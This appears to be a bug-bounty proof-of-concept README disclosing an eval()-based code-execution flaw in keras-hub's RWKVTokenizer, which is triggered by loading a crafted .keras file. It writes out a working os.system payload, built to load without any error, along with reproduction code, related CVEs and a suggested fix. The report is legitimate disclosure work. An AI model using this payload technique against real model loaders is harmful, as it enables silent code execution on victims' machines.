Huntr MFV PoC: RWKVTokenizer eval() RCE via .keras Deserialization

This is a proof-of-concept for a security vulnerability submission. Target bounty program: Huntr Model File Vulnerability


Vulnerability Summary

Title: Arbitrary Code Execution via eval() in keras_hub.tokenizers.RWKVTokenizer deserialized from .keras model file under safe_mode=True

Affected: keras-hub v0.27.1 (commit e8094ef, 2026-04-08) File: keras_hub/src/models/rwkv7/rwkv7_tokenizer.py:117,275 Severity: High (CVSS 8.8)


Root Cause

RWKVTokenizer.set_vocabulary() calls eval() on each vocabulary entry:

# Line 275 โ€” keras_hub/src/models/rwkv7/rwkv7_tokenizer.py
repr_str = eval(line[line.index(" ") : line.rindex(" ")])

The vocabulary field is part of get_config() output and therefore embedded in .keras config.json files. When a malicious .keras file is loaded via keras.models.load_model() or keras.src.saving.serialization_lib.deserialize_keras_object(), the attacker-controlled vocabulary triggers eval() under default safe_mode=True.


Attack Vector

  1. Attacker crafts a .keras file with malicious vocabulary entries
  2. Victim loads the file: keras.models.load_model("malicious.keras")
  3. RWKVTokenizer is deserialized via keras_hub>RWKVTokenizer registered name
  4. eval() executes attacker-controlled Python expression
  5. OS command runs silently โ€” model loads successfully with no exception

PoC File

rwkv7_poc_FINAL.keras in this repository is the proof-of-concept.

Vocabulary payload (inside config.json):

0 (__import__('os').system('id > /tmp/keras_rce_poc.txt'), b'\x00')[-1] 1

This payload:

  • Calls os.system('id > /tmp/keras_rce_poc.txt') โ€” runs the id command
  • Returns b'\x00' (valid bytes) so all asserts pass
  • Model loads with no exception โ€” stealth attack

Reproduction Steps

pip install keras keras-hub sentencepiece tokenizers

python3 - <<'EOF'
import os
os.environ['TF_CPP_MIN_LOG_LEVEL'] = '3'
from keras.src.saving import serialization_lib
import keras_hub  # registers keras_hub classes

import zipfile, json
# Download poc file from this repo and load it
with zipfile.ZipFile("rwkv7_poc_FINAL.keras") as z:
    config = json.loads(z.read("config.json"))

obj = serialization_lib.deserialize_keras_object(config)
print("Loaded:", type(obj).__name__)  # RWKVTokenizer

# Verify RCE occurred
if os.path.exists("/tmp/keras_rce_poc.txt"):
    print("RCE CONFIRMED:", open("/tmp/keras_rce_poc.txt").read().strip())
EOF

Expected Output

Loaded: RWKVTokenizer
RCE CONFIRMED: uid=1002(pai) gid=1006(pai) groups=1006(pai),...

Impact

  • Primary: Arbitrary code execution on any system that loads the malicious .keras file
  • Vector: Malicious .keras file distributed via HuggingFace Model Hub
  • Affected scope: Any user of keras + keras-hub who loads a model containing RWKVTokenizer
  • Stealth: No exception raised โ€” the model appears to load correctly

CVE References

  • CVE-2025-9906 (JFrog): Identical pattern โ€” keras.utils.get_file reachable via .keras deserialization. Fix: added to LOADING_APIS blocklist. Same mechanism, different gadget.
  • CVE-2025-49655: TorchModuleWrapper torch.load() via .keras deserialization. Fix: added safe_mode check to from_config.
  • CVE-2025-1550: keras_hub.layers.TFSMLayer tf.saved_model.load() via .keras deserialization. Fix: safe_mode check in from_config.

This finding follows the same pattern as all three CVEs. RWKVTokenizer was added in commit e8094ef (2026-04-08) without the hardening applied to the above classes.


Suggested Fix

Replace eval() with ast.literal_eval() at rwkv7_tokenizer.py:117,275, and add a from_config override with safe_mode check to RWKVTokenizer:

@classmethod
def from_config(cls, config, **kwargs):
    from keras.src.saving import serialization_lib
    if serialization_lib.in_safe_mode() is not False:
        raise ValueError(
            "Requested deserialization of RWKVTokenizer, which calls eval() "
            "on vocabulary entries. This is disallowed by default. Pass "
            "safe_mode=False to the loading function if you trust the source."
        )
    return cls(**config)
Downloads last month
33
Inference Providers NEW
This model isn't deployed by any Inference Provider. ๐Ÿ™‹ Ask for provider support